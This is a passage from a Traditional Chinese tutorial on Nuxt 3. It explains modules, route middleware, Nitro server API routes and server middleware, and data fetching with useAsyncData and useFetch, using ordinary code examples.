JavaScript 檔案，當安裝使用模組時，通常會配置在 nuxt.config.ts 檔案的 modules 中，例如使用 Nuxt Tailwind 模組 會添加上 \u0026rsquo;@nuxtjs/tailwindcss\u0026rsquo;。\n通常模組的開發人員會提供這些模組應該如何在 modules 屬性來做配置，甚至一些可選用的參數來配置這些模組。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 export default defineNuxtConfig({ modules: [ // 使用套件名稱 (推薦使用) \u0026#39;@nuxtjs/example\u0026#39;, // 載入本地目錄的模組 \u0026#39;./modules/example\u0026#39;, // 添加模組的選項參數 [\u0026#39;./modules/example\u0026#39;, { token: \u0026#39;123\u0026#39; }] // 在行內定義模組 async (inlineOptions, nuxt) =\u0026gt; { } ] }) Nuxt 3 模組列表 你可以在 Explore Nuxt Modules 上尋找由 Nuxt 官方或社群生態所發展建置的模組，Nuxt 的模組通常遵循著官方指南所製，使用時只需要安裝與添加至 nuxt.config 中，基本上就能完成配置。\n使用 Nuxt Icon 模組 Nuxt Icon 模組整合了 Iconify 提供多達 100,000 個以上的 Icon 圖示，只要在 Nuxt 中安裝後，我們就可以直接做使用。\nStep 1. 安裝套件 1 2 3 npm install -D nuxt-icon # or # yarn add -D nuxt-icon Step 2. 配置使用模組 在 nuxt.config.ts 中的 modules 屬性，添加 Nuxt Icon 模組的名稱 nuxt-icon。\n1 2 3 export default defineNuxtConfig({ modules: [\u0026#39;nuxt-icon\u0026#39;] }) Step 3. 開始使用 依照說明，我們就可以使用 Nuxt Icon 模組，為我們所添加的元件 \u0026lt;Icon\u0026gt;，這個 Icon 元件可以傳入 name 屬性，以此來顯示不同的 Icon 圖示，size 則可以控制圖示的大小。\n1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;flex justify-center\u0026#34;\u0026gt; \u0026lt;Icon name=\u0026#34;logos:nuxt\u0026#34; size=\u0026#34;360\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 如何建立 Nuxt 模組 Nuxt Kit 是 Nuxt 官方提供的一個標準和方便的 API 來定義 Nuxt 模組。\n通常使用如下程式碼使用 defineNuxtModule 方法來建立一個模組：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import { defineNuxtModule } from \u0026#39;@nuxt/kit\u0026#39; export default defineNuxtModule({ meta: { // 模組的名稱，通常也會對應 NPM 發布的套件名稱 name: \u0026#39;@nuxtjs/example\u0026#39;, // 如果有配置這個模組的一些選項，會將其保存在這個設定鍵值下 configKey: \u0026#39;sample\u0026#39;, // 相容性限制 `nuxt.config` compatibility: { // 為了控制模組的版本相容性，通常會在這裡配置 Nuxt 版本的需求 nuxt: \u0026#39;^3.0.0\u0026#39; } }, // 模組預設的選項 defaults: {}, hooks: {}, async setup(moduleOptions, nuxt) { // Nuxt 啟動載入模組後，模組所執行的邏輯會在這裡實作 } }) 更多 Nuxt 模組的建立指南可以參考 Nuxt 3 - Module Author Guide，這邊就不再贅述，畢竟我們比較常為模組的使用者。\n模組的載入 前面我們使用了 Nuxt Icon 模組，我們也可以閱讀一下 Nuxt Icon v0.1.6 模組套件的原始碼。\n以下是 Nuxt Icon 模組的 module.ts 檔案。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 export default defineNuxtModule\u0026lt;ModuleOptions\u0026gt;({ meta: { name: \u0026#39;nuxt-icon\u0026#39;, configKey: \u0026#39;icon\u0026#39;, compatibility: { nuxt: \u0026#39;^3.0.0-rc.9\u0026#39; } }, defaults: {}, setup (_options, nuxt) { const { resolve } = createResolver(import.meta.url) addComponent({ name: \u0026#39;Icon\u0026#39;, global: true, filePath: resolve(\u0026#39;./runtime/Icon.vue\u0026#39;) }) } }) Nuxt 的模組使用了一個 defineNuxtModule 方法來定義模組，也可以視為模組的入口點，meta.name 對應的就是模組的名稱，也是我們添加至 modules 屬性所需要的模組名稱。\nsetup 就是模組載入後執行的函數，可以看到模組使用 addComponent 為我們 Nuxt 添加了一個元件名稱為 Icon，使用的元件檔案來自 ./runtime/Icon.vue。\n模組中的 runtime/Icon.vue 為我們封裝了 Iconify 圖示的使用邏輯以及取得 Nuxt 配置的參數等。\n透過模組我們可以省去這些繁瑣的封裝與配置，只需要專注在配置模組與開發上面。\n模組與插件其實還是存在著載入執行順序與使用情境上的差異性，以 Nuxt 來說，通常 Nuxt 的插件會是用來封裝及使用 Vue 中會使用到的插件與或套件；而 Nuxt 的模組，會將需要繁瑣配置的套件或插件來與 Nuxt 進行整合與封裝，不論是透過第三方插件或模組，這都將使 Nuxt 在開發與擴充上擁有更多的可能性。\n中間件目錄 (Middleware Directory) 在 Vue 的專案內我們的頁面通常由 Vue Router 來控制路由及導航，Vue Router 提供了導航守衛 (Navigation Guards) 的 Hook API，讓我們可以在全域、路由甚至是元件中，來控制路由跳轉或取消的方式來守護我們的路由，不讓其隨意導航至特定頁面。Nuxt 3 提供了一個中間件的目錄，讓我們可以製作路由的中間件，來實作出類似導航守衛的效果。\nVue Router 的導航守衛 (Navigation Guards) 導航守衛就是在訪問頁面之前，會攔截你的路由請求並執行自訂的驗證邏輯，依據驗證的成功與否，准予放行跳轉至路由頁面，抑或是取消訪問該路由，再依照不同處理方式進行中斷或重導向至特定路由頁面。\n導航守衛在實務上常見的使用情境，就是拿來做頁面訪問的權限驗證，例如，只有管理員才能訪問 /admin 路由下的頁面，我們可能就會添加攔截的 hook 來驗證使用者是否登入及夾帶的 Token 或 Role 是否有權限可以瀏覽，如果驗證成功就准予瀏覽管理員相關頁面，否則，將路由頁面導回至首頁、登入頁或錯誤頁面，如同一個守衛在路由之間進行把關驗證權限。\n我們以 Vue Route v4 來舉例，Vue Route 提供了以下三種情況下可以使用的 hook，分別是在全域、路由或是元件中：\n全域 全域前置守衛 (Global Before Guards) 當全域守衛 hook 添加好之後，每次導航至不同路由時，都會攔截以異步的方式執行相對應的處理邏輯。\n全域守衛提供了 router.beforeEach() hook 可以在進入任何一個路由前進行攔截處理，當導航觸發時就會依照建立的順序做呼叫，因為是異步函數解析執行，所以在所有的守衛 resolve 之前，會一直處於 pending 的狀態。\n全域解析守衛 (Global Resolve Guards) 而同樣屬於全域守衛的 router.beforeResolve() hook 會在所有元件內的導航守衛、路由都被解析及執行完畢後才執行，也就是說這個 router.beforeResolve() 呼叫的時間點晚於 router.beforeEach()。\n全域後置 Hooks (Global After Hooks) 與 router.beforeEach() hook 相反，全域後置 hooks 提供的 router.afterEach() Hook 會是在路由跳轉結束後才觸發，在這裡路由已經完成跳轉，路由本身也不會再被更動，這個 hook 通常用於分析類或設置頁面相關的資訊等輔助型的功能很有幫助。\n路由獨有守衛 (Per-Route Guard) 與 router.beforeEach() 不同，我們可以為每一個路由添加 beforeEnter() hook，來達到每一個路由頁面有不同的執行方法，同時也只會在不同的路由導航中切換才會觸發。\n元件內的守衛 在元件的內部中，也提供三種 hooks 分別為：\nbeforeRouteEnter(): 在路由進入並渲染這個元件之前呼叫，所以還沒有元件的實體可以操作使用。 beforeRouteUpdate(): 目前的路由改變，而且還處於同一個元件中時呼叫。 beforeRouteLeave(): 當導航準備離開時且沒有使用到這個元件時呼叫。 導航守衛 (Navigation Guards) 在導航出發後的 hook 觸發順序如下圖：\nNuxt 3 路由中間件 Nuxt 3 中提供了一個路由中間件的框架，我們可以在專案下建立名為 middleware 目錄，在這個目錄下我們可以建立中間件，並讓整個 Nuxt 頁面或特定的路由做使用，也可以在頁面中添加，這個中間件可以理解為 Vue Router 中的導航守衛 (Navigation Guards)，同樣有 to 與 from 參數用以在導航至特定路由之前驗證權限或執行商業邏輯等。\n路由中間件格式 當我們想要建立路由中間件時，可以在 Nuxt 專案的 middleware 目錄下建立檔案，並預設匯出一個由 defineNuxtRouteMiddleware() 定義的函數，例如：\n1 2 3 4 5 6 export default defineNuxtRouteMiddleware((to, from) =\u0026gt; { if (to.params.id === \u0026#39;1\u0026#39;) { return abortNavigation() } return navigateTo(\u0026#39;/\u0026#39;) }) 路由中間件能接收目前的路由 to 與下一個路由 from 做為參數，如同 Vue Router 的導航守衛，以此我們就可以來做一些判斷與驗證操作。\n路由中間件的回傳 Nuxt 提供了兩個全域的 helpers，可以直接從中間件回傳：\nnavigateTo(to, options) 在插件或中間件中重新定向到給定的路由。也可以直接呼叫它進行頁面導航。\nnavigateTo 參數依序為：\nto： RouteLocationRaw | undefined | null options： { replace: boolean, redirectCode: number, external: boolean } abortNavigation(err) 可以在中間件中回傳 abortNavigation() 來中止導航，並可以選擇是否傳入錯誤訊息。\nabortNavigation 參數為：\nerr?: string | Error\n與 Vue Router 中的導航守衛稍有不同，在 Nuxt 的中間件中可以使用 navigateTo 與 abortNavigation 來決定導航至新的路由或終止導航，如果中間件沒有回傳任何東西，則表示不阻塞導航，如果有下一個中間件，則而移往下一個功能做執行，或者完成路由導航。\nnothing - 不阻塞導航並且會移動到下一個中間件功能。 如果有的話，或者完成路由導航 return navigateTo(\u0026rsquo;/\u0026rsquo;) 或 return navigateTo({ path: \u0026lsquo;/\u0026rsquo; }) - 重定向到給定路徑。 如果使用 navigateTo() 重定向是發生在伺服器端 ，則將 HTTP Status Code 設置為暫時重定向狀態碼 302 Found。\n如果使用 navigateTo() 並夾入 options.redirectCode 屬性，例如 return navigateTo('/', { redirectCode: 301 })，發生的重定向在伺服器端，將 HTTP Status Code 設置為永久重定向狀態碼 301 Moved Permanently。\n路由中間件的種類 在 Nuxt 中路由中間件分為以下三種：\n匿名或者是行內的路由中間件 不需要建立檔案，通常在路由頁面中使用 definePageMeta() 來定義的中間件，就屬於這種類型。\n例如，直接定義一個匿名的中間件在頁面元件中使用：\n1 2 3 4 5 6 7 \u0026lt;script setup\u0026gt; definePageMeta({ middleware: defineNuxtRouteMiddleware(() =\u0026gt; { console.log(`[匿名中間件] 我是直接定義在頁面內的匿名中間件`) }) }) \u0026lt;/script\u0026gt; 具名的路由中間件 在 middleware 目錄下所建立的中間件，當在頁面使用 definePageMeta() 來指定使用具名的中間件時，將透過異步來自動載入。具名的路由的名稱被規範為是烤肉串式 (Kebab case) 命名。\n例如，建立一個 ./middleware/random-redirect.js 中間件檔案：\nmiddleware/random-redirect.js 1 2 3 4 5 6 7 8 export default defineNuxtRouteMiddleware(() =\u0026gt; { if (Math.random() \u0026gt; 0.5) { console.log(`[來自 random-redirect 中間件] 重新導向至 /haha`) return navigateTo(\u0026#39;/haha\u0026#39;) } console.log(`[來自 random-redirect 中間件] 沒發生什麼特別的事情～`) }) 當我們要使用這個中間件時，可以在頁面中使用 definePageMeta() 並傳入 middleware 屬性，來添加路由中間件。\n1 2 3 4 5 \u0026lt;script setup\u0026gt; definePageMeta({ middleware: \u0026#39;random-redirect\u0026#39; }) \u0026lt;/script\u0026gt; 如果中間件有多個，你也可以使用陣列來傳入多個中間件，並且會依序執行這些路由中間件。\n1 2 3 4 5 \u0026lt;script setup\u0026gt; definePageMeta({ middleware: [\u0026#39;random-redirect\u0026#39;, \u0026#39;other\u0026#39;] }) \u0026lt;/script\u0026gt; 當我們在頁面中添加這個中間件後，在切換到這個路由頁面時，約有一半的機會，會被導航至 /haha 頁面。\n全域的路由中間件 在具名的中間件的檔名添加後綴 .global，如 auth.global.js，這個路由中間件將會被自動載入，並在每次導航變更時自動執行。\n例如，我們建立一個 ./middleware/always-run.global.js 中間件檔案，內容如下：\nmiddleware/always-run.global.js 1 2 3 export default defineNuxtRouteMiddleware((to, from) =\u0026gt; { console.log(`[全域中間件] to: ${to.path}, from: ${from.path}`) }) 這個全域的路由中間件，將會在每一次導航切換頁面時執行。\n動態添加路由中間件 你可以使用 addRouteMiddleware() 輔助函數來手動添加全域或命名路由中間件，例如在插件中。\n1 2 3 4 5 6 7 8 9 export default defineNuxtPlugin(() =\u0026gt; { addRouteMiddleware(\u0026#39;global-test\u0026#39;, () =\u0026gt; { console.log(\u0026#39;這個是由插件添加的全域中間件，並將在每次路由變更時執行\u0026#39;) }, { global: true }) addRouteMiddleware(\u0026#39;named-test\u0026#39;, () =\u0026gt; { console.log(\u0026#39;這個是由插件添加的具名中間件，並將會覆蓋任何現有的同名中間件\u0026#39;) }) }) 在 Nuxt 中我們可以使用所提供的中間件框架，來建立路由頁面中的中間件，而路由中間件會在到特定路由之前執行想要運行的邏輯，對於驗證權限等非常方便，也正是實現導航守衛 (Navigation Guards) 的方式。這裡我們主要講述的路由中間件，也將會與我們後面會提到的伺服器端的中間件有所不同，雖然名稱相似但與 Nitro 啟動時執行的伺服器中間件完全不同。\nServer API 與 Nitro Engine 這裡會先介紹一下 Nitro Engine 是什麼東西，Nitro 可能不多人聽過但與 Nuxt 3 息息相關，Nitro 伺服器引擎除了有跨平台支援與多種強大的功能外，更包含了 API 路由的支援，意思就是我們可以直接在基於 Nitro 的 Nuxt 3 上直接開發由後端處理的邏輯或與資料庫互動，再將結果回傳至前端，實作出 Server API。\nNitro Engine 在開始建置 Sever API 之前，先來介紹一下 Nitro 伺服器引擎，Nuxt 3 的一大特點就是採用了一個名為 Nitro 的伺服器引擎 (Server Engine)，Nitro 基於 rollup 與 h3，為達高效能與可移植性目標而建構的最小 HTTP 框架。\nNitro 提供了以下多種功能特色，使得 Nuxt 更佳完善與強大，如同官網所說 Nitro 讓 Nuxt 直接解鎖了新的全端能力。\n快速的開發體驗：開箱即用的特性，無需任何配置，就可以啟動具有 hot module reloading 的開發伺服器，寫完程式碼存檔後，就能讓伺服器載入新的程式邏輯。 基於檔案系統的路由：我們只需要專注在建立伺服器的目錄與頁面，就能擁有自動載入與路由的效果。 可移植且便攜：基本上 Nuxt 3 使用的依賴套件都在 package.json 檔案的 devDependencies 中，建構正式環境的網站時，Nitro 自動拆分的程式碼與打包出來的 .output 目錄不再需要安裝依賴套件，意味著不再有 node_modules，因此部署時更輕便好攜。 混合模式：透過**混合模式 (Hybrid mode)**可以將一部分頁面預渲染產生出靜態頁面，部分頁面是動態的在伺服器或客戶端渲染，讓每個路由頁面有不同的靜態或動態甚至擁有快取規則，這將讓 Nuxt 3 的通用渲染 (Universal Rendering) 方式更進一步成混合渲染 (Hybrid Rendering) 也能結合無伺服器 (Serverless) 來配置混合模式。 看到這裡，可以發現 Nuxt 3 與 Nitro 都下了非常大的功夫，雖然還有些功能尚未穩定與需要改進的地方，但是已經為開發上提供了強大支援與良好的體驗，更多特性與細節可以參考 Nuxt 3 - Server Engine 或 Nitro 官方。\nNuxt 3 的 Server 目錄 我們可以透過 Nuxt 3 專案下的 server 目錄來建立具有 hot module reloading 支援的 Server API 與後端處理邏輯。\nserver 目錄常用的有下面三個子目錄：\napi 在這個目錄的檔案，將會由 Nuxt 自動載入並產生 /api 開頭的路由並對應檔案名稱，例如建立 ./server/api/hello.js，就會擁有 /api/hello 的路由對應這個 API，可以使用 http://localhost:3000/api/hello 訪問該路由。\nroutes 在這個目錄的檔案，將會由 Nuxt 自動載入並產生對應檔案名稱的路由，例如建立 ./server/routes/world.js，就會擁有 /world 的路由對應這個 API，可以使用 http://localhost:3000/world 訪問該路由。\nmiddleware 在這個目錄的檔案，會被 Nuxt 自動載入，並添加至伺服器中間件，並在每個 Request 進入伺服器 API 的路由前執行。\n建立第一個伺服器 API Nuxt 會自動掃描 server 目錄中的檔案結構，建立 Server API 時通常以 .js 或 .ts 作為副檔名，並依照官方建議，每個檔案都應該預設匯出 defineEventHandler() 函數，並在其 handler 內實作處理邏輯。\nhandler 接收了一個 event 參數，用來解析請求的資料，並可以直接回傳一個字串、JSON、Promise 或者使用 event.res.end() 送出請求回應。\n舉例來說，我們建立一個檔案 ./server/api/hello.js，內容如下：\nserver/api/hello.js 1 2 3 4 5 6 export default defineEventHandler(() =\u0026gt; { return { ok: true, data: \u0026#39;Hello World!\u0026#39; } }) 如同 pages 頁面路由一樣，在 ./server/api 目錄下會基於檔案系統結構來產生出相對應的路由，並且會添加一個路由前綴 /api，現在，可以使用 http://localhost:3000/api/hello 訪問該路由，看見回傳的 JSON 資料。\n伺服器路由 基於檔案的路由 前面的例子有提到，Server API 的路由是基於檔案結構來自動產生，如果你不想要有 /api 的前綴，可以將 API 處理邏輯檔案，放置在 ./server/routes 目錄中。\n舉例來說，以下的檔案結構會產生兩個可以訪問的伺服器 API 路由，分別為 /api/hello 及 /api/world。\n1 2 3 4 5 6 nuxt-app/ └── server/ ├── api/ │ └── hello.js └── routes/ └── world.js 匹配路由參數 將檔案名稱添加中括號 []，其中放入欲設定的參數名稱，以此來處理動態路由匹配。 舉例來說，建立 ./server/api/hello/[name].js 檔案，內容如下：\nserver/api/hello/[name].js 1 2 3 4 export default defineEventHandler((event) =\u0026gt; { const { name } = event.context.params return `Hello, ${name}!` }) 在 handler 內就能使用 event.context.params 來訪問 name 路由參數。\n匹配 HTTP 請求方法 (HTTP Request Method) 我們可以添加 .get、.post、.put 或 .delete 等檔案名稱後綴，來匹配對應的 HTTP request methods。\n新增 server/api/test.get.js，內容如下：\nserver/api/test.get.js 1 2 3 4 5 6 export default defineEventHandler(() =\u0026gt; { return { ok: true, message: \u0026#39;測試 [GET] /api/test\u0026#39; } }) 新增 server/api/test.post.js，內容如下：\nserver/api/test.post.js 1 2 3 4 5 6 export default defineEventHandler((event) =\u0026gt; { return { ok: true, message: \u0026#39;測試 [POST] /api/test\u0026#39; } }) 我們使用 Postman 來打這兩隻 API，可以看到使用不同的 HTTP Request Method，就會匹配至對應後綴檔案中的 handler 進行處理。\n[GET] /api/test [POST] /api/test 從上面的例子，我們建立了 test.get.js 與 test.post.js 檔案，分別對應了 GET 與 POST 方法，如果同一個路由使用了其他方法而無法匹配處理的檔案時，則會回傳 HTTP 狀態碼 405 Method Not Allowed 表示錯誤。\n匹配包羅萬象的路由 (Catch-all Route) 你可以建立 […].js 的檔案，來將所有不匹配的路由交由這個 handler 作處理。\n例如，建立 ./server/api/catch-all/[…].js，將可以匹配 /api/catch-all/x、/api/catch-all/x/y\u0026hellip;等 /catch-all 下所有層級的路由。\nserver/api/catch-all/[…].js 1 2 3 4 5 6 7 8 9 export default defineEventHandler((event) =\u0026gt; { return { ok: true, data: { url: event.req.url }, message: \u0026#39;/api/catch-all 下不匹配的路由都會進入這裡\u0026#39; } }) 建立 ./server/api/[…].js 檔案如下，將可以接手所有 /api 下無法匹配的路由。\nserver/api/[…].js 1 2 3 4 5 6 7 8 9 export default defineEventHandler(() =\u0026gt; { return { ok: true, data: { url: event.req.url }, message: \u0026#39;/api 下不匹配的路由都會進入這裡\u0026#39; } }) 下圖示範中，當我們輸入的路由如果沒有辦法處理，將會被 [...].js 所匹配，以此我們可以來實作返回、重新導向或錯誤頁面。\n伺服器中間件 Nuxt 會自動載入 ./server/middleware 中的檔案，並添加至伺服器中間件，伺服器的中間件與路由中間件不同的是，pages 路由頁面的請求是不會執行伺服器中間件。\n伺服器的中間件會在每個 Request 進入伺服器 API 的路由前執行，通常用來添加或檢查請求的標頭 (headers)、記錄請求或擴展調整請求的物件。\n伺服器中間件的處理邏輯，不應該回傳任何內容，也不應中斷或直接回應請求，伺服器中間件應該僅檢查、擴展請求上下文或直接拋出錯誤。\n舉理來說，你可以新增 ./server/middleware/log.js 用來記錄每個請求的 URL。\nserver/middleware/log.js 1 2 3 export default defineEventHandler((event) =\u0026gt; { console.log(\u0026#39;New request: \u0026#39; + event.req.url) }) 或者，新增 ./server/middleware/auth.js 用來解析請求或擴展請由物件。\nserver/middleware/auth.js 1 2 3 export default defineEventHandler((event) =\u0026gt; { event.context.auth = { username: \u0026#39;ryan\u0026#39; } }) 伺服器插件 Nuxt 會自動掃描並載入 ./server/plugins 目錄下的檔案，並將他們註冊為 Nitro 的插件，在 Nitro 啟動時，這些插件將會在伺服器載入並執行，插件允許擴展 Nitro 執行時的行為及連接到生命週期的事件。\n更多細節可以參考 Nitro Plugins。\n伺服器通用功能 Nuxt 中伺服器的路由，是由 unjs/h3 所提供，h3 內建一些方便實用的 helpers，可以參考 Available H3 Request Helpers。\n伺服器路由常用的 HTTP 請求處理 處理 HTTP 請求中的 Body 1 2 3 4 5 6 7 export default defineEventHandler(async (event) =\u0026gt; { const body = await readBody(event) return { ok: true, data: body } }) 可以使用 readBody(event) 來解析請求中的 Body，注意 readBody() 是一個異步函數，記得 await 等待解析完成。\n處理 URL 中的查詢參數 (Query Parameters) 可以使用 getQuery(evnet) 來解析查詢參數。\n1 2 3 4 5 6 7 8 9 export default defineEventHandler((event) =\u0026gt; { const query = getQuery(event) return { ok: true, data: { name: query.name } } }) 當請求 URL 為 /api/query?name=ryan，可以解析出查詢參數 query.name。\n解析 HTTP 請求所夾帶的 Cookie 可以使用 parseCookies(event) 來解析請求所夾帶的 Cookie。\n1 2 3 4 5 6 7 8 9 export default defineEventHandler((event) =\u0026gt; { const cookies = parseCookies(event) return { ok: true, data: { cookies } } }) 我透過瀏覽器的開發工具，手動添加了一組 cookie 名為 token，Server API 可以透過 parseCookies() 來解析出瀏覽器自動夾帶的 cookie。\n進階使用範例 Nitro 配置 你可以在 nuxt.config.ts 中使用 nitro 屬性來配置 Nitro 設定。\nnuxt.config.ts 1 2 3 4 export default defineNuxtConfig({ // https://nitro.unjs.io/config nitro: {} }) 使用巢狀路由 你可以直接使用 h3 的 createRouter() 方法來建立巢狀路由。\n1 2 3 4 5 6 7 import { createRouter } from \u0026#39;h3\u0026#39; const router = createRouter() router.get(\u0026#39;/\u0026#39;, () =\u0026gt; \u0026#39;Hello World\u0026#39;) export default router 伺服器儲存 Nitro 提供了一個跨平台的儲存層，你可以 Nitro 的配置中設定 storage 屬性，來配置額外的儲存掛載位置，官網提供了一個使用 Redis 的範例。\n更多 Nitro 伺服器的設定與使用可以參考官網。\nNitro 伺服器引擎將 Nuxt 3 提升至另一個境界，不僅功能強大且讓開發中擁有不錯的體驗，伺服器路由更是能在後端直接處理邏輯實作 Server API，而接下來將介紹如何在 Nuxt 打 API 取得資料。\n資料獲取 (Data Fetching) Nuxt 提供了 $fetch 及四種組合式函數 (Composables)，來進行資料獲取，也就是說，我們不需要再額外安裝任何 HTTP Client ，如 axios 來發送 HTTP 請求，因為 Nuxt 本身就自帶了打 API 的方法，而且在頁面、元件或插件中都能直接呼叫做使用，非常方便。\n首先，我們先介紹一下 $fetch 這個由 Nuxt 提供使用 ohmyfetch 套件所封裝的 helper，$fetch 可以在 Nuxt 中用於發送 HTTP 請求。\n如果在伺服器端渲染的期間，呼叫 $fetch 打內部 API 路由，也就是打我們自己在 ./server 下實作的後端 API，那麼因為使用 $fetch 的關係，Nuxt 會模擬請求，改由直接呼叫內部 API 的處理函數，這樣就能節省額外的 API 呼叫。\n使用的方法，如下：\n1 $fetch(url, options) 我們可以使用 $fetch(\u0026rsquo;/api/count\u0026rsquo;) 建立一個 GET 請求，發送至 /api/count 後會返回一個 Promise，完成後我們就可以接收回傳的資料。\n$fetch 的 options 的參數及建立攔截器等功能可以參考 ohmyfetch，不過呢，我們還會使用 Nuxt 提供的組合函數結合 $fetch 來打 API。\n接下來我們就來依序介紹，如何使用 Nuxt 提供的四種組合函數來從 API 獲取資料。\nuseAsyncData 這個 useAsyncData() 組合函數，其實不是傳入 URL 直接呼叫就會發出 API 請求，而是 Nuxt 可以透過這個函數來添加異步請求資料的邏輯。\nuseAsyncData 組合函數能接收 key、handler 與 options，其中 handler 會來添加請求異步資料的邏輯。當我們在頁面、元件和插件中呼叫 useAsyncData，並等待回傳的 Promise，我們的頁面或元件的渲染將會阻塞路由載入至 handler 異步邏輯處理完畢後才會繼續執行，也就是說，整個頁面元件將會等待所有使用 useAsyncData 呼叫的 API 回傳完成後才會開始進行渲染。\n舉個例子，我們新增一個 Server API，並稍微添加一下延遲，模擬 API 約需要處理 2 秒才回傳資料，./server/api/count.js 內容如下：\nserver/api/count.js 1 2 3 4 5 6 7 8 9 let counter = 0 export default defineEventHandler(async () =\u0026gt; { await new Promise((resolve) =\u0026gt; setTimeout(resolve, 2 * 1000)) // 等待 2 秒 counter += 1 return JSON.stringify(counter) }) 新增一個路由頁面，./pages/count/useAsyncData.vue 內容如下：\npages/count/useAsyncData.vue 1 2 3 4 5 6 7 8 9 10 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;my-24 flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;text-4xl text-gray-600\u0026#34;\u0026gt;瀏覽次數\u0026lt;/p\u0026gt; \u0026lt;span class=\u0026#34;mt-4 text-6xl font-semibold text-sky-400\u0026#34;\u0026gt;{{ data }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const { data } = await useAsyncData(\u0026#39;count\u0026#39;, () =\u0026gt; $fetch(\u0026#39;/api/count\u0026#39;)) \u0026lt;/script\u0026gt; 當我們瀏覽 /count/useAsyncData 時，會打 /api/count 這隻 API，並等待返回後才開始渲染元件。\n因為瀏覽 http://localho:3000/count/useAsyncData 時，第一次都是由後端渲染處理，看不太出導航有被阻塞的效果，建議可以添加一下路由連結來進行導航，就可以發現差異。\n當我們從首頁，由客戶端導航至 /count/useAsyncData 頁面時，會發現網址的路由已經變化，但是頁面約等了一會兒才渲染出現，這就是因為頁面中使用了 useAsyncData() 來獲取資料，await 將阻塞整個頁面元件的載入與渲染，直至 API 處理完畢回傳後才開始載入路由渲染元件。\nuseAsyncData() 共有兩種呼叫時使用參數差異，可以選擇是否傳入第一個參數 key，所傳入參數的類型如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 function useAsyncData( handler: (nuxtApp?: NuxtApp) =\u0026gt; Promise\u0026lt;DataT\u0026gt;, options?: AsyncDataOptions\u0026lt;DataT\u0026gt; ): AsyncData\u0026lt;DataT\u0026gt; function useAsyncData( key: string, handler: (nuxtApp?: NuxtApp) =\u0026gt; Promise\u0026lt;DataT\u0026gt;, options?: AsyncDataOptions\u0026lt;DataT\u0026gt; ): Promise\u0026lt;AsyncData\u0026lt;DataT\u0026gt;\u0026gt; type AsyncDataOptions\u0026lt;DataT\u0026gt; = { server?: boolean lazy?: boolean default?: () =\u0026gt; DataT | Ref\u0026lt;DataT\u0026gt; | null transform?: (input: DataT) =\u0026gt; DataT pick?: string[] watch?: WatchSource[] initialCache?: boolean immediate?: boolean } interface RefreshOptions { _initial?: boolean } type AsyncData\u0026lt;DataT, ErrorT\u0026gt; = { data: Ref\u0026lt;DataT | null\u0026gt; pending: Ref\u0026lt;boolean\u0026gt; execute: () =\u0026gt; Promise\u0026lt;void\u0026gt; refresh: (opts?: RefreshOptions) =\u0026gt; Promise\u0026lt;void\u0026gt; error: Ref\u0026lt;ErrorT | null\u0026gt; } useAsyncData() 傳入的參數 key：唯一鍵，可以確保資料不會重複的獲取，也就是如果 Key 相同便不會再發送相同的請求，除非重新整理頁面由後端再次渲染獲取，或呼叫 useAsyncData 回傳的 refresh() 函數重新取得資料。 handler：回傳異步請求資料的處理函數，打 API 或加工的異步邏輯都可以在這裡處理。 options： server：是否在伺服器端獲取資料，預設為 true。 lazy：是否於載入路由後才開始執行異步請求函數，預設為 false，所以會阻止路由載入直到請求完成後才開始渲染頁面元件。 default：當傳入這個 factory function，可以將異步請求發送與回傳解析前，設定資料的預設值，對於設定 lazy: true 選項特別有用處，至少有個預設值可以使用及渲染顯示。 transform：修改加工 handler 回傳結果的函數。 pick：handler 若回傳一個物件，只從中依照需要的 key 取出資料，例如只從 JSON 物件中取的某幾個 key 組成新的物件。 watch：監聽 ref 或 reactive 響應式資料發生變化時，觸發重新請求資料，適用於資料分頁、過濾結果或搜尋等情境。 initialCache：預設為 true，當第一次請求資料時，將會把有效的 payload 快取，之後的請求只要是相同的 key，都會直接回傳快取的結果。 immediate：預設為 true，請求將會立即觸發。 useAsyncData() 的回傳值 data：傳入異步函數的回傳結果。 pending：以 true 或 false 表示是否正在獲取資料。 refresh / execute：一個函數，可以用來重新執行 handler 函數，回傳新的資料，類似重新整理、重打一次 API 的概念。預設情況下 refresh() 執行完並回傳後才能再次執行。 error：資料獲取失敗時回傳的物件。 看到這裡，我們再重新閱讀與解釋 useAsyncData() 的範例\n1 2 3 4 5 6 \u0026lt;script setup\u0026gt; const { data, pending, error, refresh } = await useAsyncData( \u0026#39;count\u0026#39;, () =\u0026gt; $fetch(\u0026#39;/api/count\u0026#39;) ) \u0026lt;/script\u0026gt; 呼叫 useAsyncData() 並不是直接幫我們送出 HTTP 請求，而是在 handler 內使用 $fetch 來打 API，只是 useAsyncData() 組合式函數，封裝了更多打 API 時可以使用的方法與參數，來因應不同的使用情境。當然如果想要，你也可以使用其他套件來替換 $fetch 但可能就沒辦法享受它所帶來的好處。\nuseFetch 這個組合式函數將 useAsyncData 和 $fetch 進行包裝，當使用這個函數時它會根據 URL 和 fetch 的選項來自動產生 useAsyncData 需要的參數 key，如果呼叫的 API 是伺服器端所提供的，也會自動根據伺服器 API 路由來為請求提供類型提示，並推斷 API 的回傳類型。\nuseFetch() 所傳入參數的類型如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 function useFetch( url: string | Request | Ref\u0026lt;string | Request\u0026gt; | () =\u0026gt; string | Request, options?: UseFetchOptions\u0026lt;DataT\u0026gt; ): Promise\u0026lt;AsyncData\u0026lt;DataT\u0026gt;\u0026gt; type UseFetchOptions = { key?: string method?: string params?: SearchParams body?: RequestInit[\u0026#39;body\u0026#39;] | Record\u0026lt;string, any\u0026gt; headers?: { key: string, value: string }[] baseURL?: string server?: boolean lazy?: boolean immediate?: boolean default?: () =\u0026gt; DataT transform?: (input: DataT) =\u0026gt; DataT pick?: string[] watch?: WatchSource[] initialCache?: boolean } type 